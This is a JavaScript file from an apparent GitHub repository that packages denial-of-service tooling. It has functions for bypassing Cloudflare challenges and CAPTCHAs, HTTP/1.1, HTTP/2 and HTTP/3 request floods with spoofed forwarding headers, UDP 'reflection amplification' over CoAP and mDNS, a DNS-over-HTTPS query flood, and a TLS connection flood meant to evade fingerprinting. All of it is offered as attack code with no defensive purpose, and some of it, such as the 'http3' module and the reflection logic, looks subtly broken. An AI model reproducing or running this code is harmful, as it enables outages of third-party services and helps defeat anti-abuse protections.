-
Notifications
You must be signed in to change notification settings - Fork 0
/
bypass-techniques.js
201 lines (161 loc) · 6.61 KB
/
bypass-techniques.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
const puppeteer = require('puppeteer');
const axios = require('axios');
const tls = require('tls');
const http2 = require('http2');
const http = require('http');
const http3 = require('http3');
const dgram = require('dgram');
// Cloudflare Bypass using Puppeteer (UAM, NoSec)
async function bypassCloudflare(targetUrl, proxy) {
console.log(`Bypassing Cloudflare for ${targetUrl}...`);
const browser = await puppeteer.launch({
headless: true, // Run in headless mode
args: proxy ? [`--proxy-server=${proxy}`] : [] // Use proxy if provided
});
const page = await browser.newPage();
await page.setUserAgent('Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0');
await page.goto(targetUrl, { waitUntil: 'networkidle2' }); // Wait for Cloudflare's JavaScript challenge
const cookies = await page.cookies();
await browser.close();
return cookies;
}
// CAPTCHA Bypass using 2Captcha API
async function solveCaptcha(siteKey, pageUrl, apiKey) {
console.log('Solving CAPTCHA using 2Captcha...');
const captchaIdResponse = await axios.post(`http://2captcha.com/in.php?key=${apiKey}&method=userrecaptcha&googlekey=${siteKey}&pageurl=${pageUrl}`);
const captchaId = captchaIdResponse.data.split('|')[1];
let solved = false;
let captchaToken = null;
while (!solved) {
const response = await axios.get(`http://2captcha.com/res.php?key=${apiKey}&action=get&id=${captchaId}`);
if (response.data.includes('OK')) {
captchaToken = response.data.split('|')[1];
solved = true;
} else {
console.log('Still solving CAPTCHA...');
await new Promise(resolve => setTimeout(resolve, 5000)); // Wait for 5 seconds
}
}
console.log('CAPTCHA solved!');
return captchaToken;
}
// HTTP/1.1 Flooding Attack with Polymorphic Headers
const http1FloodAttack = (target, numRequests, proxies) => {
for (let i = 0; i < numRequests; i++) {
const options = {
hostname: target,
port: 80,
path: '/',
method: 'GET',
headers: {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0',
'Referer': 'https://google.com',
'X-Forwarded-For': proxies ? proxies[Math.floor(Math.random() * proxies.length)] : undefined
}
};
const req = http.request(options, (res) => {
console.log(`Request ${i + 1} sent. Status Code: ${res.statusCode}`);
});
req.on('error', (e) => {
console.log(`HTTP/1.1 Request error: ${e.message}`);
});
req.end();
}
};
// HTTP/2 Multiplexed Flooding Attack
const http2FloodAttack = (target, numRequests, proxies) => {
const client = http2.connect(`https://${target}`);
for (let i = 0; i < numRequests; i++) {
const headers = {
':method': 'GET',
':path': '/',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0',
'X-Forwarded-For': proxies ? proxies[Math.floor(Math.random() * proxies.length)] : undefined
};
const req = client.request(headers);
req.on('response', (headers) => {
console.log('HTTP/2 Flooding headers:', headers);
});
req.on('data', (chunk) => {
console.log('HTTP/2 Flooding data:', chunk);
});
req.end();
}
client.close();
};
// HTTP/3 Multiplexed Flooding Attack
const http3FloodAttack = (target, numRequests, proxies) => {
const client = http3.connect(`https://${target}`, { rejectUnauthorized: false });
for (let i = 0; i < numRequests; i++) {
const req = client.request({
':method': 'GET',
':path': '/',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0',
'X-Forwarded-For': proxies ? proxies[Math.floor(Math.random() * proxies.length)] : undefined
});
req.on('response', (headers) => {
console.log('HTTP/3 Flooding headers:', headers);
});
req.on('data', (chunk) => {
console.log('HTTP/3 Flooding data:', chunk);
});
req.end();
}
client.close();
};
// Reflection Amplification (CoAP or mDNS)
const reflectionAmplification = (protocol, target, numPackets) => {
const client = dgram.createSocket('udp4');
let message;
if (protocol === 'coap') {
message = Buffer.from([0x40, 0x01, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00]); // CoAP GET
} else if (protocol === 'mdns') {
message = Buffer.from([0x00, 0x00, 0x84, 0x00, 0x00, 0x01, 0x00, 0x00]); // mDNS
}
for (let i = 0; i < numPackets; i++) {
client.send(message, 0, message.length, 5353, target, (err) => {
if (err) console.log(`Reflection attack error: ${err}`);
});
}
console.log(`${protocol.toUpperCase()} Reflection Amplification Finished.`);
};
// DNS over HTTPS (DoH) Attack
const dnsOverHttpsAttack = async (target, numQueries, proxies) => {
const dohServer = 'https://cloudflare-dns.com/dns-query'; // DoH server
for (let i = 0; i < numQueries; i++) {
const randomDomain = `${Math.random().toString(36).substring(7)}.com`;
await axios.get(`${dohServer}?name=${randomDomain}&type=A`, {
headers: {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0',
'X-Forwarded-For': proxies ? proxies[Math.floor(Math.random() * proxies.length)] : undefined
}
}).catch(err => console.log(`DoH request failed: ${err}`));
}
console.log('DNS over HTTPS attack finished.');
};
// Advanced TLS Fingerprinting Evasion (for vShield)
const tlsEvasion = (target, numRequests, proxies) => {
for (let i = 0; i < numRequests; i++) {
const tlsOptions = {
ciphers: tls.getCiphers().join(':'),
minVersion: ['TLSv1.2', 'TLSv1.3'][Math.floor(Math.random() * 2)],
rejectUnauthorized: false
};
const socket = tls.connect(443, target, tlsOptions, () => {
console.log(`TLS connection ${i + 1} opened with randomized parameters.`);
});
socket.on('error', err => console.log(`TLS connection error: ${err}`));
}
console.log('TLS Fingerprinting Evasion completed.');
};
// Export all functions
module.exports = {
bypassCloudflare,
solveCaptcha,
http1FloodAttack,
http2FloodAttack,
http3FloodAttack,
reflectionAmplification,
dnsOverHttpsAttack,
tlsEvasion
};